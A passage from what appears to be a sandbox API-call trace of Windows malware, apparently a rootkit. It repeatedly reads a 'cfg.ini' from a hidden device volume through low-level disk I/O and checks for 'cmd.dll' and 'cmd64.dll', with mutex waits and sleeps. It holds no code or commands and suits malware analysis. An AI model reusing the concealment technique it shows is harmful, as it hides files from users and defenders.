FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.371] ExFreePoolWithTag (P=0xfffffa8003bea7b0, Tag=0x0) [0123.371] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.371] KeLeaveCriticalRegion () [0123.371] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.371] ReleaseMutex (hMutex=0xf0) returned 1 [0123.371] Sleep (dwMilliseconds=0x124f80) [0123.384] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.384] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.384] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.384] KeEnterCriticalRegion () [0123.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.385] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.385] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.385] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.385] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.385] IdePortDispatch () returned 0x103 [0123.385] KeWaitForMutexObject () returned 0x0 [0123.385] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.385] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.385] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.385] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.385] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.385] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80036083e0 [0123.385] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.385] KeLeaveCriticalRegion () [0123.385] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.385] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.385] KeEnterCriticalRegion () [0123.385] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.385] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.385] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.385] KeLeaveCriticalRegion () [0123.385] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.385] KeEnterCriticalRegion () [0123.385] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.385] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.385] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.385] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.385] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.385] IdePortDispatch () returned 0x103 [0123.385] KeWaitForMutexObject () returned 0x0 [0123.385] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.386] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.386] KeLeaveCriticalRegion () [0123.386] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.386] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.386] KeEnterCriticalRegion () [0123.386] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.386] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800349b000 [0123.386] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.386] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.386] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.386] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.386] IdePortDispatch () returned 0x103 [0123.386] KeWaitForMutexObject () returned 0x0 [0123.386] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.386] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.386] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.386] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.386] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.386] IdePortDispatch () returned 0x103 [0123.386] KeWaitForMutexObject () returned 0x0 [0123.386] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.386] KeLeaveCriticalRegion () [0123.386] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.387] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.387] KeEnterCriticalRegion () [0123.387] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.387] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.387] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.387] KeLeaveCriticalRegion () [0123.387] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.387] KeEnterCriticalRegion () [0123.387] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.387] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.387] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.387] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.387] KeLeaveCriticalRegion () [0123.387] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.387] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.387] KeEnterCriticalRegion () [0123.387] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.387] ExFreePoolWithTag (P=0xfffffa80036083e0, Tag=0x0) [0123.387] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.387] KeLeaveCriticalRegion () [0123.387] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.387] ReleaseMutex (hMutex=0xf0) returned 1 [0123.387] Sleep (dwMilliseconds=0x124f80) [0123.401] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.401] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.401] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.401] KeEnterCriticalRegion () [0123.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.401] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.401] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.401] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.401] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.401] IdePortDispatch () returned 0x103 [0123.402] KeWaitForMutexObject () returned 0x0 [0123.402] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.402] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.402] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.402] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.402] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.402] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80036083e0 [0123.402] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.402] KeLeaveCriticalRegion () [0123.402] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.402] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.402] KeEnterCriticalRegion () [0123.402] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.402] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.402] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.402] KeLeaveCriticalRegion () [0123.402] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.402] KeEnterCriticalRegion () [0123.402] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.402] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.402] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.402] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.402] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.402] IdePortDispatch () returned 0x103 [0123.402] KeWaitForMutexObject () returned 0x0 [0123.402] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.402] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.402] KeLeaveCriticalRegion () [0123.402] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.402] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.403] KeEnterCriticalRegion () [0123.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.403] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a0000 [0123.403] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.403] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.403] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.403] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.403] IdePortDispatch () returned 0x103 [0123.403] KeWaitForMutexObject () returned 0x0 [0123.403] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.403] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.403] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.403] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.403] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.403] IdePortDispatch () returned 0x103 [0123.403] KeWaitForMutexObject () returned 0x0 [0123.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.403] KeLeaveCriticalRegion () [0123.403] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.404] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.404] KeEnterCriticalRegion () [0123.404] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.404] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.404] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.404] KeLeaveCriticalRegion () [0123.404] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.404] KeEnterCriticalRegion () [0123.404] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.404] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.404] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.404] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.404] KeLeaveCriticalRegion () [0123.404] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.404] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.404] KeEnterCriticalRegion () [0123.404] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.404] ExFreePoolWithTag (P=0xfffffa80036083e0, Tag=0x0) [0123.404] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.404] KeLeaveCriticalRegion () [0123.404] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.404] ReleaseMutex (hMutex=0xf0) returned 1 [0123.404] Sleep (dwMilliseconds=0x124f80) [0123.418] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.418] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.418] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.418] KeEnterCriticalRegion () [0123.418] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.418] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.418] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.418] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.418] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.418] IdePortDispatch () returned 0x103 [0123.419] KeWaitForMutexObject () returned 0x0 [0123.419] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.419] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.419] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.419] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.419] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.419] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003608390 [0123.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.419] KeLeaveCriticalRegion () [0123.419] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.419] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.419] KeEnterCriticalRegion () [0123.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.419] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.419] KeLeaveCriticalRegion () [0123.419] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.419] KeEnterCriticalRegion () [0123.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.419] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.419] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.419] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.419] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.419] IdePortDispatch () returned 0x103 [0123.419] KeWaitForMutexObject () returned 0x0 [0123.419] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.420] KeLeaveCriticalRegion () [0123.420] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.420] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.420] KeEnterCriticalRegion () [0123.420] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.420] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a5000 [0123.420] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.420] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.420] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.420] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.420] IdePortDispatch () returned 0x103 [0123.420] KeWaitForMutexObject () returned 0x0 [0123.420] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.420] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.420] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.420] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.420] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.420] IdePortDispatch () returned 0x103 [0123.420] KeWaitForMutexObject () returned 0x0 [0123.420] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.420] KeLeaveCriticalRegion () [0123.420] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.421] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.421] KeEnterCriticalRegion () [0123.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.421] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.421] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.421] KeLeaveCriticalRegion () [0123.421] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.421] KeEnterCriticalRegion () [0123.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.421] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.421] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb5b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.421] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.421] KeLeaveCriticalRegion () [0123.421] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.421] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.421] KeEnterCriticalRegion () [0123.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.421] ExFreePoolWithTag (P=0xfffffa8003608390, Tag=0x0) [0123.421] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.421] KeLeaveCriticalRegion () [0123.421] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.421] ReleaseMutex (hMutex=0xf0) returned 1 [0123.421] Sleep (dwMilliseconds=0x124f80) [0123.435] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.435] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.435] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.435] KeEnterCriticalRegion () [0123.435] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.435] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.435] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.435] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.435] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.435] IdePortDispatch () returned 0x103 [0123.435] KeWaitForMutexObject () returned 0x0 [0123.435] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.435] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.435] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.435] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.435] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.435] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80036083e0 [0123.435] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.435] KeLeaveCriticalRegion () [0123.435] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.436] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.436] KeEnterCriticalRegion () [0123.436] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.436] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, 